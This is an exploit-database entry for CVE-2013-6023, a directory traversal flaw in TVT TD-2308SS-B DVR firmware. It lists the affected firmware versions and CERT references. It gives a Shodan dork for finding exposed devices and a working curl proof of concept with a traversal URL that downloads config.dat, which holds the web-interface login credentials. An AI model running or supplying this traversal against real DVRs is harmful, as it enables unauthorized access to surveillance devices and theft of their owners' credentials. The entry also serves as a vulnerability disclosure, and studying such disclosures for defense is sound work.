TVT TD-2308SS-B DVR - Directory Traversal Vulnerability

2013-12-0200:00:00

Cesar Neira

0day.today

214

0.152 Low

EPSS

Percentile

95.9%

JSON

TVT TD-2308SS-B DVR and possibly other models running firmware version 3.2.0.P-3520A-00 contain a directory traversal vulnerability. An attacker can use directory traversal to download critical files such as the config.dat file for the device which contains the credentials for the web interface. For example:
http://[IP ADDRESS]/…/…/…/mnt/mtd/config/config.dat

# Exploit Title: TVT TD-2308SS-B DVR directory traversal
# Shodan Dork: "Cross Web Server"
# Date: 01 Dec 2013
# Disclosure date: 10 Sep 2013
# Exploit Author: Cesar Neira
# Vendor Homepage: http://en.tvt.net.cn/
# Affected Firmware Versions:
3.1.43.B
3.1.43.P
3.1.6.P-1.0.2.1-03
3.1.75.B-1.0.2.1-00
3.1.7.B-1.0.2.1-00
3.1.81.B-1.0.2.1-00
3.1.83.B-1.0.2.1-00
3.1.83.P-1.0.4.2-03
3.1.87.P-1.0.4.2-17
3.1.91.P-1.0.2.1-03
3.1.92.P-1.0.2.1-00
3.1.93.B-1.0.2.1-17
3.2.0.B-1.0.2.1-17
3.2.0.P-1.0.2.1-03
3.2.0.P-1.0.2.1-17
3.2.0.P-1.0.6.0.32-00
3.2.0.P-3520A-00
3.2.0.P-3520A-03
3.2.0.P-3531-00
3.2.0.P-3531-11
3.2.0.P-FH-00
3.2.9.P-3520A-06
maybe others.
# Tested on: TVT DVR TD-2308SS-B
# CVE : CVE-2013-6023
# References:
http://www.kb.cert.org/vuls/id/785838
http://alguienenlafisi.blogspot.com/2013/10/dvr-tvt-directory-traversal.html
 
POC:
 
curl http://[IP Address]/../../../mnt/mtd/config/config.dat 2>/dev/null | strings
 
-- 
Cesar Neira <[email protected]>
http://alguienenlafisi.blogspot.com
Root-Node

#  0day.today [2018-03-19]  #

0.152 Low

EPSS

Percentile

95.9%

JSON

Related for 1337DAY-ID-21605